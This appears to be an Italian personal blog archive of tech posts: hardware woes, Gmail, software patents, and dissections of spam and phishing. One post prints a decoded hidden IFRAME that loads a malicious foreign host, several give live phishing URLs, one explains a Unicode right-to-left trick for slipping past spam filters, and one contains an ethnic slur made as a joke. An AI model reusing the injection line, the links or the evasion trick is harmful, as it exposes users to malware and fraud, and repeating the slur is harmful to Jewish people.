| e tutto ad un tratto... | [y2003-05_informatica] |
oggi funziona la schedina vecchia sul PC di Anna e non quella nuova sul mio. Secondo me, ci vuole un esorcista.
| solite arti magiche | [y2003-05_informatica] |
Ieri sera Loris è passato a casa mia per vedere cosa non funzionava nella nostra rete wifi. Dopo due ore con tre PC (win98, xp e fedora), tre schedine wireless (una vecchia Orinoco, una rtl8180 e una Cisco) e due access point (il nostro digicom e quello portato da Loris) abbiamo scoperto che:
- l'access point funziona
- il mio PC funziona, ma non sembrano funzionare né la mia scheda wifi rtl (troppi CRC error in ricezione) né la mia schedina USB 2.0.
- da qualche parte nel mio palazzo ci potrebbe essere un'apparecchiatura sulla frequenza 2.4 GB, che non è una rete wifi e soprattutto spara più o meno ovunque sulle frequenze;
- spostandomi sul canale 1, l'orinoco funziona sul mio PC vicino all'access point, non sembra funzionare su quello di Anna lontano dall'access point. Ma qui mancano ancora ulteriori informazioni.
Il tutto naturalmente senza nessuna certezza, altrimenti non staremmo parlando di informatica.
| e-cartolina virale? | [y2003-05_informatica] |
Tra lo spam odierno, mi è arrivato il messaggio che affermava che avevo un "Multimedia Postcards(R) Greeting" per me, con tanto di sito dove andare a scaricare (http://www.bazumcircus.it/img/news2/) e codice ( DP_42a04492060aaa46).
Per curiosità ho provato ad andare direttamente sulla homepage del sito... e Mozilla mi si è chiuso. A questo punto ho fatto quello che dovevo fare subito, vale a dire prendere Lynx: la home page mi dà (anzi mi dava, l'hanno già chiuso) una sfilza di link a siti che offrono medicinali sessuali, e terminava con un document.write scritto in esadecimale, che tradotto dà
<IFRAME SRC="http://crunet.info/out.php?s_id=1" WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"></IFRAME>.
crunet.info è un sito russo - o almeno scritto in russo, e quel php mi rimanda a un non meglio identificato http://195.225.177.33/0305.html; il quale però (senza ammettere cookie, ovvio) non dice molto. Zigh, una ricerchina fatta per nulla... però mi pareva più professionale del solito.
AGGIORNAMENTO:Naturalmente io sono stato così stupido da scrivere io il testo "IFRAME". Solo che non usando internet explorer, naturalmente non mi capitava nulla, così come non è capitato nulla a chi mi legge con safari, mozilla, netscape ... (o via RSS). Adesso che zop mi ha fatto notare la cosa ho scoperto la gabola (adesso la scritta non è più lanciabile, tranquilli!)
| misteri di proxy | [y2003-05_informatica] |
Dall'ufficio mi connetto a Internet con un proxy. Come molti sanno, chi gestisce il proxy può fare tante belle cose, come bloccare - o magari rallentare molto - l'accesso a una serie di siti. In genere, questo capita con il porno; da noi, a quanto sembra, sotto la scure è caduto Mutts (sul porno non saprei dire).
| pihshnig | [y2003-05_informatica] |
Di phishing ne ho parlato più volte, e ho anche fatto notare come l'italiano del testo (quando c'è) sia in genere piuttosto teorico. Ma per gli sfortunati che non hanno ricevuto questo messaggio - a me è fin arrivato doppio, una copia è stata riconosciuta come spam, l'altra no - non posso esimermi dal mostrarvelo.
Bcnaa Ietnsa/ BancoPtsoa/ San Paool IMI/ Finceo ceihde il vtsoro cotubirtno:
Per i posesssori di un cnoto, a segotiu di virefiche di l'irednizzo di potsa enorttelica nei nirtso daatbase clienti, si e
reos necoirasse uzzilito online la cofnerma dei Soui dait. Le chiedaimo pcreio di confermicra i dait in nsotro possesso,
accedeodn al seugente form proteott:
No, non è il risultato di un dislessico, né un esercizio di stile à la Queneau. Andando a vedere il sorgente del messaggio, si scopre che il testo è in multipart/alternate (cioè, ci sono due pezzi che dovrebbero avere lo stesso contenuto), testo normale o html. Solo che il testo normale è in realtà vuoto, quindi deve per forza essere mostrato quello in HTML, che comincia così:
B‮cna‬a I‮etn‬sa/ BancoP‮tso‬a/ San Pao‮ol‬ IMI/ Fin‮ce‬o c‮eih‬de il v‮tso‬ro co‮tubirtn‬o:
Non spaventatevi. I "caratteri" - se vogliamo fare gli esperti, dovremmo chiamarli "entità", ma chisseneimporta - ‮ e ‬ significano rispettivamente "da qua si scrive da destra a sinistra" e "da qua non si scrive più da destra a sinistra". Quindi, se apriamo il messaggio con un programma che capisce bene HTML, la prima parola è "B" , poi "cna" scritto alla rovescia e che quindi diventa "anc", e infine "a". Risultato? "Banca".
In questo modo, però, i sistemi antispam non riescono a riconoscere la parola incriminata, e quindi non scatta l'allarme spam.
Peccato (per lo spammer, intendo) che il sistema sia troppo intelligente, e ad esempio sull'interfaccia di Gmail non funzioni...
| Toh. | [y2003-05_informatica] |
Hanno defaced (defacciato? sfacciato? insomma, hanno craccato la pagina mettendo il loro bel logo) la pagina delle comunità di Splinder.
| Il mio portatile si sfalda | [y2003-05_informatica] |
Non sono cose belle da dirsi. Però ha iniziato il mio mouse, che connettevo per mezzo di un adattatore alla porta PS/2 e a un tratto ha smesso di funzionare: se lo metto sulla porta USB funziona perfettamente, e mouse+adattatore vanno bene su un altro PC. Poi a un tratto la schedina wi-fi si è anch'essa bloccata, dando una sfilza di CRC errors e nemmeno un pacchetto ricevuto. Il router funziona, perché la schedina sulla macchina di Anna funziona perfettamente; la scheda non so, perché non ho voglia di installare tutto il software sull'altro pc. La scheda di Anna, che è più vecchia, vede la rete ma non ci si attacca.
Mo' che faccio? io contavo di sopravviverci ancora un annetto, in fin dei conti il pc è del 2002. Una riparazione comincia a costarmi troppo. Forse un'imposizione delle mani?
| un po' di attenzione, insomma! | [y2003-05_informatica] |
Capisco volere fare del phishing scritto in un italiano diciamo "interessante" (che ne dite di «se recentemente accedeste al vostro conto mentre viaggiavate»?)
Capisco che non sono molti a guardare le header e vedere che il messaggio è stato spedito da TLV62-0-78-214.bb.netvision.net.il (eh, questi sporchi ebrei... :-) )
Però postare il messaggio usando come mittente ChiquitaBayno@bancopostaonline.poste.it mi pare un po' troppo!
| GMail un po' kaputt | [y2003-05_informatica] |
stasera sono arrivato a casa e ho cercato di guardare la posta. Peccato che il mio fido browser (e persino Internet Explorer) mi dicessero "sito irraggiungibile". In realtà le cose non stavano proprio così: infatti una connessione con Lynx ha portato a tutta una serie di lamentele su certificati che non si trovavano, ma alla fine mi ha fatto vedere il sito (con un'altra serie di lamentele, questa volta da parte di Gmail stesso, che mi spiegava che così "non avevo la vera experience". Seeh, ancora grazie si arrivasse così! Bisogna dire che Lynx è davvero una forza della natura, uno schiacciasassi.
| Computer a manovella | [y2003-05_informatica] |
Chi avesse letto City venerdì scorso avrebbe trovato un trafiletto su un "portatile per bambini che funziona a manovella". La notizia di per sé è vera: PCWorld ad esempio ne parla estesamente.
Naturalmente le cose stanno in maniera un po' diversa da quanto traspare dall'italico quotidiano gratuito: non è il regalo di Natale da fare al proprio bimbo, ma è parte di un progetto di alfabetizzazione informatica per le scuole dei paesi in via di sviluppo. Negroponte (ma è tornato all'MIT?) ha già messo le mani avanti, dicendo che anche se il prototipo uscirà a novembre la produzione di massa non avverrà se non a fine 2006; e inoltre che sa bene che cento dollari sono ancora troppi, ma spera in un ulteriore ribasso dei costi. Però bisogna dire che ci sono delle idee interessanti: oltre alla manovella per i posti dove non c'è corrente - un minuto di giro permetterà dieci minuti d'uso - e che era già stata sfruttata nelle radio portatili, ci sarà la possibilità di convertire il display a colori in uno in bianco e nero ad alta visibilità. Per i fanatici: il sistema operativo sarà una versione minimale di Linux.
Non so quanto un PC portatile possa essere utile a gente che magari non ha nemmeno di che mangiare, ma forse non è così male pensare anche oltre l'immediato; basta appunto che sia un "anche".
| Avete presente i vaccini? | [y2003-05_informatica] |
Ecco il testo, tradotto in italiano, di un troiano che è arrivato su una mailing list che gestisco. Il testo era in HTML, e l'indirizzo era ovviamente di un iscritto alla lista che non c'entrava nulla: il messaggio proviene da un PC di Telecom Argentina. Il corsivo è mio.
Klez.E è il più comune worm che si sta diffondendo in tutto il mondo. È molto pericoloso, corrompendo i vostri file.
A causa del suo modo molto astuto di nascondersi e della tecnica anti-anti-virus, la maggior parte del software AV non riesce a scoprirlo o rimuoverlo.
Abbiamo sviluppato questo programma gratuito di immunizzazione per sconfiggere questo virus maligno.
Dovete solo lanciarlo una volta, e Klez non entrerà mai nel vostro PC.
NOTA: Poiché questo programma agisce come un finto Klez per confondere il vero worm, alcuni monitor AV potrebbero lamentarsi mentre lo fate girare.
In tal caso, ignorate l'avviso e cliccate su 'continua'.
Per ogni questione, inviatemi una mail.
Anche in questo caso ci troviamo di fronte a un sistema di "ingegneria sociale". L'utente quadratico medio ha sentito dire che i vaccini (quelli che ti iniettano) sono forme deboli dello stesso batterio che devono combattere, e quindi magari non si scompone a leggere qualcosa del genere...
| google blog search | [y2003-05_informatica] |
Ecco l'ennesima beta di Google. Beh, non credo ci sia un progetto Google che non sia in beta :-). Ad ogni modo, con Google Blog Search è possibile fare una ricerca limitata ai blog. Leggendo le faq relative, si può scoprire che "blog" in questo contesto significa "qualcosa con un feed RSS o Atom"; che l'indicizzazione è partita da giugno; e che la ricerca può essere fatta con l'interfaccia google o con quella di blogger.
Se devo essere sincero, non vedo un grande valore aggiunto, ma magari qualcuno ha delle idee migliori di me.
Aggiornamento: il Guru ne ha.
| phishing su Fineco | [y2003-05_informatica] |
È quello di stanotte. Ll'italiano è indubbiamente molto strano, anche se grammaticalmente sembra corretto. Anche l'idea di dire "visto che bisogna aumentare la sicurezza, cambiamo server" non è affatto male, guardata dal punto di vista di uno che di internette non ci capisce un tubo. "Se al mercato mi cambiano la macchinetta per verificare le banconote false, qui mi cambiano il server": non è così immediato capire che l'URL è come l'indirizzo di casa, e quindi non ha ragione di essere modificato.
Ma il top lo si raggiunge con la frase finale: «... altrimenti entro 24 ore il Vostro conto internet per la Vostra stessa sicurezza verrà temporaneamente bloccato per far uscire i mezzi finanziari allo scopo di evitare il numero sempre più incremento di assalti "Phishing"». Me li vedo, questi mezzi finanziari che escono a vele spiegate!
In una notizia correlata, come dicono gli americani, mi hanno fatto notare un altro spam di ieri, da tale "Sateny Finance Group" che propone di «effettuare il trasferimento dei pagamenti tra i nostri clienti, trattenendo una commissione per ogni operazione.», ricevendo «pagamenti che vanno dai 1000 ai 50000 o più USD». Con ogni probabilità, riciclaggio.
| quando si dice "basta"... | [y2003-05_informatica] |
In ufficio mi avevano dato una specie di portachiavi RSA SecurID® che ogni minuto generava casualmente un numero di sei cifre che, unito al mio pin, completava la password per connettermi alla rete interna di IT Telecom prima e TIM poi, per la serie "massima sicurezza". Sul retro c'era indicata una data, 07/31/05, a cui non avevo fatto caso, anche perché in pratica non è che nell'ultimo anno l'abbia usata chissà quanto.
Bene, prima di partire per le ferie avevo tolto il portachiavi dal marsupio: il numerino non c'è più, e il display segna un bell'OFF. Sicuramente quelli di RSA vogliono essere certi sulla durata dell'aggeggio!
| congiunzioni astrali? | [y2003-05_informatica] |
Ad aprile avevo scritto che il mio PC non riusciva più a capire che i collegamenti dovevano essere attraversati e non aperti, quando volevo salvare un file.
Oggi a quanto pare il clic funziona nuovamente. Non ho fatto assolutamente nulla, lo giuro. Sarà un sottoprodotto delle stelle cadenti che in teoria oggi stanno allietando la vista di chi non si trova in mezzo a una grande città col cielo coperto?
| Non può essere risposto a. | [y2003-05_informatica] |
Stavolta quelli che fanno phishing sembrano coreani, o almeno il sito che verrebbe contattato dal volpino che ci casca è www.withwith.or.kr/zboard/icon/formslogin.php.
Bisogna però essere tosti, per riuscire a comprendere un testo che parte bene, ma si perde per strada:
Recentemente abbiamo notato uno o più tentativi di entrare al vostro conto di BancoPostaonline da un IP indirizzo differente.
Se recentemente accedeste al vostro conto mentre viaggiavate,
i tentativi insoliti di accedere a vostro Conto BancoPosta possono essere iniziati da voi.
Tuttavia, visiti prego appena possibile BancoPostaonline per controllare le vostre informazioni di conto:
Ringraziamenti per vostra pazienza.
BancoPostaon.
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Non risponda prego a questo E-mail. Il E-mail trasmesso a questo indirizzo non può essere risposto a.
Anche il "BancoPostaOn." non è male, vero?
| batterie | [y2003-05_informatica] |
Ieri sera prendo il mio Creative Zen Micro e vedo che non si accende per nulla. Vabbè, lo metto in carica. Peccato che non si stia caricando: l'iconcina "in carica" lampeggia, ma le tacche di carica non arrivano, nonostante sia rimasto tutta la notte connesso al PC e lo sia di nuovo stamattina.
Oltre che bestemmiare in maniera creativa e/o pagare penso dai trenta ai cinquanta euro per una nuova batteria Li-ion (ricordo che ce l'ho da meno di un mese) qualcuno ha qualche idea?
Aggiornamento serale: oggi pomeriggio, nonostante le zero tacche, lo Zen è andato avanti per tre quarti d'ora. E stasera si sta caricando: in questo momento ha due tacche su tre. Misteri ancora più misteriosi.
| Brevetti software: per il momento stop | [y2003-05_informatica] |
Il Parlamento Europeo ha bocciato quasi all'unanimità la direttiva sui brevetti software.
I più ottimisti dicono che i parlamentari europei si sono arrabbiati perché la Commissione non ha voluto tenere conto del loro parere; i pessimisti dicono invece che le multinazionali temevano che tra tutti gli emendamenti che erano stati proposti ne sarebbe passato qualcuno che in pratica le avrebbe messe in difficoltà, e hanno preferito convincere i loro lobbizzati a votare contro, per poter ripartire tra un po' quando il chiasso si sarà spento. Per il momento, respiriamo.
| autospam | [y2003-05_informatica] |
Come certo sapete (e se non lo sapete, male...) parecchi virus si diffondono prendendo a caso degli indirizzi nella rubrica Outlook del malcapitato e spedendo messaggi usando come mittente e destinatario due di questi.
Ma credo che questa sia la prima volta in cui ho ricevuto un messaggio spedito... da me stesso in un'altra incarnazione. Il mittente era infatti puntomaupunto(at)tin.it, mentre il destinatario era puntomaupunto(at)tiscalinet.it.
Mi sembra strano che qualcuno abbia entrambi questi indirizzi, anche considerando che è stato usato un dialup russo (212.46.236.25, aka ts24-b25.moscow.dial.rol.ru) per spedirlo: misteri informatici.
| latrocinii | [y2003-05_informatica] |
Il Creative, così come la mia fotocamera digitale, si connettono al PC con un cavetto USB-A - Firewire IEEE 1394. Oggi pensavo di comprarmene uno di scorta: poi ho scoperto che costano la bellezza di 14.90 euro da MediaWorld. Ho lasciato perdere: tanto i due cavetti che ho sono compatibili... :-)
| Trenitalia è amica dell'utente | [y2003-05_informatica] |
Io sono una persona relativamente tollerante. Capisco perfettamente che certe offerte civetta (tipo "in Eurostar con 29/39 euro") siano emesse per un numero di posti così limitato che è difficile riuscire ad ottenerle. Mi arrabbio un poco quando mi viene detto che non ci sono più posti disponibili solo dopo avere scelto il posto e aggiunto tutte le altre informazioni, ma potrei ancora capirlo. Ma perché diavolo bisogna ricominciare tutto da capo, invece che scrivere "ti va bene il biglietto a prezzo pieno"? Era una cosa così complicata?
| la mia "vedelta" | [y2003-05_informatica] |
Continuano i tentativi di phishing in italiano approssimativo. Stamattina la mia cartella spam aveva un messaggio dal titolo favoloso: "100 Euro per la vostra vedelta". Per gli interessati, il link su cui cliccare per essere fregati è http://free.hostdepartment.com/j/jpxcnq2, mentre il testo del messaggio è
"Caro cliente,
Banca Intesa vi rimborsa per la vostra fedelta con 100 Euro. Prima di usare questo importo, dovete seguire il collegamento e usare il vostro Codice cliente e Codice segreto. Un operatore si mettera in contacto (sic!) con voi per confermare l'importo."
Il tutto inviato a una decina di persone tutte nel campo To:.
Io come sempre mi diverto con poco: la mancanza dell'accento in "fedeltà" è abbastanza normale, ma la v al posto della f fa pensare a qualcuno di lingua tedesca, anche se l'indirizzo IP da cui proviene il messaggio (82.77.204.76) dovrebbe essere rumeno.
Chicca finale: il messaggio è scritto in html (per forza, altrimenti non si sarebbe potuto mettere il link al sito del phisher). Il titolo della pagina è ... Banca di Credito Cooperativo. Si vede che hanno iniziato con poco e in un secondo tempo hanno pensato di lavorare più in grande.
| phishing più idiota del solito | [y2003-05_informatica] |
Penso sia comune anche a voi trovarsi in casella email messaggi del tipo "Dear Customer, we need to verify e-mail addresses of our clients. Please click here", e un link che sembra quello della propria banca ma in realtà finisce nelle capaci pagine del tipo che ha preparato lo scherzetto. Per chi fosse curioso, il nome tecnico di questa truffa è phishing.
Bene. Io riesco a capire che al mio indirizzo email arrivino messaggi della CitiBank o roba del genere, visto che i truffatori non vanno tanto per il sottile. Capisco anche che a un indirizzo che termina in .it potrebbe essere più interessante tentare di mandare un messaggio phish che sembra provenire da Banca Intesa. Però mi sembra molto da idioti scriverlo in inglese...
Per i curiosi, il link che avrebbero voluto farmi cliccare è questo (diviso in più righe per non sballare la visualizzazione: quando trovate una barra rovescia \ immaginate che sia un "incolla al mio posto la riga seguente")
http://www.google.pl/url?q=\
http://go.msn.com/HML/5/7.asp?target=\
http://k%78%773%70l8%%%2eD%41%2ERU/
L'ho anche fatto, visto che tanto non ho un conto là, e ho verificato che dopo quel doppio giro di ridirezione si arriva a http://kxw3pl8.DA.RU/ che a sua volta manda a http://mvneudoi.mail15.com/ il quale finalmente, dopo essersi copiati chissà cosa, fa aprire la pagina di Banca Intesa. Lynx permette anche di vedere i parametri che sono inviati nell'ultimo passaggio, e garantisco che non sono delle belle cose.
Detto tutto questo, posso aggiungere che ieri nelle cronache milanesi di Repubblica mi pare ci fosse un articolo sui "furti di identità bancarie" commessi da alcuni russi... Tutto torna :-)
| ah, la memoria | [y2003-05_informatica] |
Sto cercando di capire come aumentare la RAM del vecchio notebook IBM Thinkpad T22 di Anna - anche perché altrimenti sì che posso fare un upgrade da win98...
Il problema è che vuole le SDRAM SoDIMM a 144 pin PC100, due moduli da massimo 256 MB. Bene, queste memorie sembrano non esistere più nei negozi standard: e anche guardando in rete ci sono dei prezzi assurdi, più di 100 euro per modulo, quando le PC133 costano la metà. Peccato che abbia provato a mettere dei moduli PC133: il PC non parte. Consigli?
| nazispam 2 | [y2003-05_informatica] |
(questo è un pippone che potete saltare tranquillamente, se non siete fanatici delle ricerche)
Ho fatto qualche controllo supplementare, e mi sa tanto che la sorgente spam non sia unica.
I due messaggi arrivatimi sulla casella di posta dell'ufficio (con destinatario X-Account@telecomitalia.it e freemail@telecomitalia.it, per i curiosi) arrivano da 217.201.79.234 (una simpatica macchina della rete TIM, probabilmente è per questo che è riuscita a passare i filtri). Il primo messaggio arrivatomi sulla mia casella tin.it giunge da 70.66.5.143 (shawcable), mentre gli ultimi tre sono tutti da una macchina su interbusiness, 213.45.185.82, e soprattutto hanno il testo in inglese e non il "lesen Sie selbst".
Nuovo lancio adesso, da 62.101.126.211 (fastres.net), e stavolta senza il link ma con il testo inserito: "Gegen das Vergessen" (contro l'oblio), a riguardo della distruzione di Dresda da parte degli alleati.
Come dicevo, resta il fatto che questo è "spam di opinione", e temo sia molto più difficile da beccare automaticamente. Sì, si possono sempre bloccare i proxy relay, ma non so quanto sia fattibile.
| nazispam | [y2003-05_informatica] |
Stamattina mi è arrivato uno spam sulla mia email - e cosa ancora più strana, due su quella di ufficio - scritte in tedesco, e contenenti una riga di commento a un link di una pagina dell'NPD (oppure a die-kommenden.net, che così ad occhio ha le stesse simpatie ultradestrorse). Un messaggio di questo tipo è difficilissimo da etichettare automaticamente - non ci sono parole chiave, né allegati strani. Non ho ancora la possibilità di vedere le header di quelli arrivatimi sulla casella telecom, ma sembra che siano riusciti a usare degli indirizzi destinatario nell'envelope (la "busta" che i server di mail vedono) che vengono considerati validi.
Di fronte a questo, il fatto che il 90% della gente non possa nemmeno capire cosa c'è scritto non è poi così importante, visto il costo nullo della spedizione. Tremo al pensiero di quello che succederà alle nostre elezioni.
| referrer | [y2003-05_informatica] |
Guardando le pagine web da cui si è arrivati al mio sito, ho scoperto che la mia pagina antispam è citata qui.
Mi chiedo se ciò sia bello oppure no.
| Macchianera ha colpito ancora | [y2003-05_informatica] |
Abbiamo avuto una commissione di inchiesta americana - con due strapuntini italiani aggiunti giusto per rendere felice Silvio - che ha cercato di capire perché i soldati USA abbiano sparato alla macchina che portava Giuliana Sgrena e Nicola Calipari all'aeroporto di Baghdad. Il risultato è ovviamente stato "i nostri soldati stellestrisciati hanno fatto quello che dovevano fare, la colpa è di quei casinisti degli italiani". Sono anche stati preparati due bei file pdf (indice e testo) con le conclusioni del rapporto: ma per proteggere gli "innocenti" c'è una lunga serie di omissis, sotto forma di righe annerite.
Peccato che Gianluca Neri abbia scoperto che non ci vuole poi molto a leggere le parti cancellate nel caso si abbia la versione professionale di Acrobat (quella che permette di scrivere i documenti, oltre che leggerli). Peggio ancora, basta selezionare un pezzo di testo pecettato e copiarlo su una banalissima finestra di testo per leggerlo.
È chiaro: devono essere stati degli italiani a pubblicarlo.
Aggiornamento: alle 13:13 Repubblica, sempre sulla notizia, ha scoperto l'acqua calda. Macchianera ovviamente non è citato: conflitto di interessi tra il nome del blog e le pecette degli omissis?
Aggiornamento 2: Indymedia aveva postato la copia all'una di notte. Peccato che il loro testo inizi così:
Grazie a potenti mezzi informatici e di intelligence siamo riusciti ad ottenere il rapporto Calipari in versione non censurata, eccolo..
Non so se avete notato il modo con cui la notizia è stata pubblicata: se anche io fossi passato a leggere da quelle parti, il mio primo commento sarebbe stato "occhei, qualcuno ha voluto fare uno scherzo", visto che non ci vuole poi molto a scrivere un documento Word rimettendo delle parole. Non sarebbe stato più semplice spiegare a tutti come fare a leggere il documento originale?
Ah: il sito della forza multinazionale in Iraq sulle prime si è limitata a togliere il link al documento dall'home page, ma l'ha lasciato intatto. Solo stasera ha pensato che forse era meglio mettere una pagina (stavolta davvero) vuota al posto del testo...
| collegamenti fuori uso | [y2003-05_informatica] |
messaggio di servizio (e di aiuto). Da qualche giorno, se cerco di salvare un file sul mio PC, non riesco ad accedere alle cartelle puntate da un collegamento. In pratica, è convinto che io voglia salvare il mio file al posto di quello .lnk, invece che aprire la cartella corrispondente.
Ho provato a cercare in giro qualche pezzo di registry da sostituire, ma non cambia nulla. D'altra parte, la mia sembra essere una situazione un po' più strana: i collegamenti funzionano perfettamente nelle iconcine del desktop, è solo quando apro il "salva come" che arrivano i casini.
Chi mi aiuta? Sono su XP Professional SP1, per la cronaca.
| gmail compie un anno | [y2003-05_informatica] |
E abbiamo tutti scoperto che non era un pesce d'aprile. DElyMyth mi fa notare la home page odierna di gmail (dovete sloggarvi per vederla, ma secondo me ne vale la pena). Confermo che in questo istante la mia casella dice "You are currently using 321 MB (28%) of your 1148 MB."
Da un punto di vista puramente di marketing, l'idea di far salire pian piano da uno a due giga la dimensione della cartella è una mossa assolutamente azzeccata, almeno per quelli che come me sono sempre stati affascinati dallo scorrere delle lancette.
| misteri USB | [y2003-05_informatica] |
Ieri sera a un certo punto mi sono partite le porte USB del portatile. Non vedevano più nessun dispositivo. La cosa mi ha un po' infastidito, ma visto che in fin dei conti mi ero appena preso un mouse con convertitore usb-ps2, e in uno dei miei momenti compulsivi mi ero anche comprato una scheda PCMCIA con due uscite USB2, non mi sono preoccupato più di tanto.
Adesso le porte funzionano di nuovo perfettamente. Sì, avevo ribustrappato anche ieri, che credete?
| ladri di referrer | [y2003-05_informatica] |
È da un po' di tempo che alcuni siti stanno usando i referrer come sistema di pubblicità (poker e viagralike, generalmente), facendo in modo che vengano generati accessi alle pagine che sembrano provenire da quei siti in questione. La cosa mi sembra più che stupida fuori tempo: ormai chi mette i suoi referrer in linea? Però nell'ultimo mese ci sono stati una quindicina di questi siti, che io regolarmente elimino dalle statistiche.
Stamattina ho provato a vedere quali pagine vengono chiamate: per la maggior parte sono verso WordPress (no, io uso MT come piattaforma blog, ma c'è stata per un po' un'installazione di prova non linkata. Eppure l'hanno trovata), e qui lo si capisce perché magari un bel bachetto da sfruttare lo si trova sempre. Ma ci sono anche altre pagine più "normali". E tra i siti che mi contattano ce n'è uno messicano. Un PC zombie, o qualcuno che vende questi programmini per farsi pubblicità?
| mouse ottico e diffrazione | [y2003-05_informatica] |
Sto provando a installare dei nuovi driver per il mio portatile, per vedere se la gestione della batteria funziona meglio. Già che c'ero, ho anche aggiornato il driver del mouse: però notavo come il cursore si muoveva in maniera un po' strana, e a volte sembrava addirittura tremare. Torno al vecchio driver: stessa situazione.
Alla fine sollevo il mouse, e trovo un capello che si era infilato vicino al led. Ci credo che segnalasse di tutto...
| a certa gente so io che farei | [y2003-05_informatica] |
Dal feed dei freeware che ricevo avevo trovato questo: Free List Manager, merge smaller email lists into one big list. It is a full featured professional mailinglist manager software.
La cosa non mi interessava più di tanto, ma sono curioso e così sono andato a vedere il sito. Così ho scoperto che è un Bulk Email Software Store, cioè tradotto in italiano un paradiso per gli spammatori, che possono comprarsi i programmi per recuperare in giro indirizzi e spedirli. Dalla loro pubblicità di Hidden Sender: "sends real ANONYMOUS bulk emails. You won't lose your ISP service".
Sono i momenti in cui mi piacerebbe che una dozzina di fulmini finisse nella loro sede.
| non venitemi vicino | [y2003-05_informatica] |
Stamattina, dopo tre giorni di onorato lavoro, il mio PC appena riparato si è piantato esattamente come prima. Il primo che dice "te l'avevo detto" verrà fulminato sul posto: niente da eccepire se ci fosse stato qualcos'altro a non funzionare, ma qui chiaramente è la riparazione ad essere stata "sbagliata".
Ciò detto, mi serve un appoggio non semplicemente morale. Ci sono tre mesi di garanzia sul lavoro, quindi teoricamente non ci sarebbero problemi. Però il tipo ha già cominciato a mettere le mani avanti, dicendo "eh, noi avevamo visto che c'era un problema sulla scheda madre, però forse si è rovinata anche la CPU..." e mi sa tanto che mi chiederà altri soldi. Che devo fare? (Ah, ho la fattura, nulla è stato fatto in nero :-) )
aggiornamento pomeridiano: stamattina non avevo attaccato il PC alla presa, e quindi lavoravo con le batterie. Rimettendo l'AC, non riesco a piantarlo.
| gmail | [y2003-05_informatica] |
In questo momento la mia casella gmail ha cinquanta inviti a disposizione. Dovrò provare qualcosa tipo "hard disk virtuale" e simili.
| Soluzioni all'italiana 1: ricorsi spam | [y2003-05_informatica] |
Lo spam rende invivibili le nostre email, e questo lo sappiamo. Buona parte dello spam è in inglese (o turco, ebraico, coreano...) e magari per molti è facile buttarlo via automaticamente; e comunque è ben difficile riuscire a fare qualcosa contro di esso. Per gli spammatori nostrani, fino all'anno scorso c'era un sistema relativamente valido. Costava un po' di fatica, perché occorreva fare una raccomandata al Garante per la Privacy (da quando in qua lo spammer ha il nostro consenso per spedirci materiale non richiesto?) però poteva portare a un rimborso di 250 euro, e alla sensazione di avere dato il nostro contributo.
Sembra però che il Garante cominciasse a ricevere troppi ricorsi, e non avesse personale a disposizione per lavorarci su. Come ovviare al problema? Assumendo più gente? No. Se andate a guardare alla pagina Come rivolgersi al Garante, ultimo paragrafo, potete notare come
Al ricorso va allegata la prova del versamento dei diritti di segreteria (euro 150,00).
Sono così buoni da suggerirci anche di usare il loro conto corrente. Visto che non ha un grande senso pagare 150 euro per riceverne forse 250, i ricorsi si fermeranno, e tutti (ufficio del Garante e spammatori) vivranno felici e contenti.
| brevetti software | [y2003-05_informatica] |
Brevettare del software per me è un'idiozia. Lo fanno negli USA, ma non vuol dire molto, anzi. Anche in UE hanno tentato di far passare una legge simile: il pericolo era stato scongiurato grazie ai polacchi.
Bene, anzi male. Domani tenteranno di fare riapprovare ladisciplina per i brevetti software. In quale sede? Una riunione del Consiglio dei Ministri dell’Agricoltura e Pesca. Avete letto bene. Avete presente i programmi di gestione della pesca col verme, no?
Mi chiedo come certa gente non abbia nemmeno il coraggio delle proprie azioni.
| pc in riparazione | [y2003-05_informatica] |
Boh. Alla fine stamattina ho lasciato il mio portatile a far vedere: ho deciso che è meglio spendere 30 euro e scoprire che non si può far niente, al limite mi metto il cuore in pace.
Il piccolo problema è che per una settimana almeno rimarrò senza. Crisi di astinenza.
| quale nuovo notebook? | [y2003-05_informatica] |
bene, anzi male. Il mio Asus ormai si blocca dopo pochi minuti, e visto che mi dicono che il processore (il presumibile colpevole) è saldato alla motherboard e quindi sostituirlo costa un bel po', credo proprio che dovrò far piangere il mio conto corrente e comprarmene un altro, anzi farlo comprare ad Anna che è libera professionista.
Considerando che cercavo una fascia medio-alta, che il widescreen non mi importa molto e che temo la risoluzione 1280*960 non sia ancora così comune, avevo visto da MediaWorld l'Asus Z81G (pentium 4) a 1290 euro, e nel sito on line il Fujitsu Amilo M7424 (centrino) a 1150 euro. Altri consigli?
Aggiungo che i 512 MB di RAM e i 60 GB di disco sono il minimo (sono quelli che ho adesso...), che la WiFi mi serve, che non faccio giochi grafici quindi la scheda video è il minore dei problemi, ma che lo uso molto in genere.
| Problemi di personalità PC | [y2003-05_informatica] |
Visto che il mio pc continua a bloccarsi, avevo pensato di provare ad aggiornargli i driver andando al sito Asus. Il guaio è che al primo tentativo di lancio del setup (lo ammetto, direttamente da WinZip) mi è andato addirittura in schermo blu; al secondo mi ha detto che non ho una motherboard Asus. Ciò non è bello.
| Spam azionario | [y2003-05_informatica] |
Sono alcuni giorni che mi arrivano degli spam senza alcun link interno, indubbiamente generati da un programma abbastanza avanzato - nome e cognome del mittente generati casualmente, qualche frase in fondo per sviare i sistemi bayesiani, spedizione attraverso una ADSL "zombie", che cercano di convincermi a comprare delle azioni di una società.
Notare tutte le noticine in fondo al messaggio, quelle classiche per gli investitori ("ogni investimento ha una certa dose di rischio, e simili"). La fregatura è che è molto difficile riconoscere automaticamente un simile messaggio, non essendoci appigli: in questo caso la stringa "Happy Hollidays" (sic) aiuterebbe, ma è ovvio che nel prossimo giro di spam cambierebbe. Mah, perlomeno non dovrebbe contenere virus :-|
| google semantico | [y2003-05_informatica] |
ho appena scoperto che se tra le parole chiave in una ricerca con Google si usa "faq", vengono anche ritornati i risultati che non hanno "faq", ma "how to". A quanto pare Brin e Page stanno cercando di aiutare un po' troppo l'utonto...
| quando uno è sveglio | [y2003-05_informatica] |
Dopo tutta la fatica per portarmi a Milano il mattone (il vecchio Armada da usare in attesa che riparino il mio) stamattina lo accendo e provo a metterlo in rete. Peccato che non ci siano schede di rete (o modem, se per questo), ma due PCMCIA che hanno il loro attacco speciale, che è rimasto a Roma. Adesso spero che mi arrivino per posta interna.
Ma la cosa peggiore è che ieri a Roma ho acceso il PC per vedere se funzionava, ma non mi è proprio venuto in mente di connetterlo in rete :-(
| zafi | [y2003-05_informatica] |
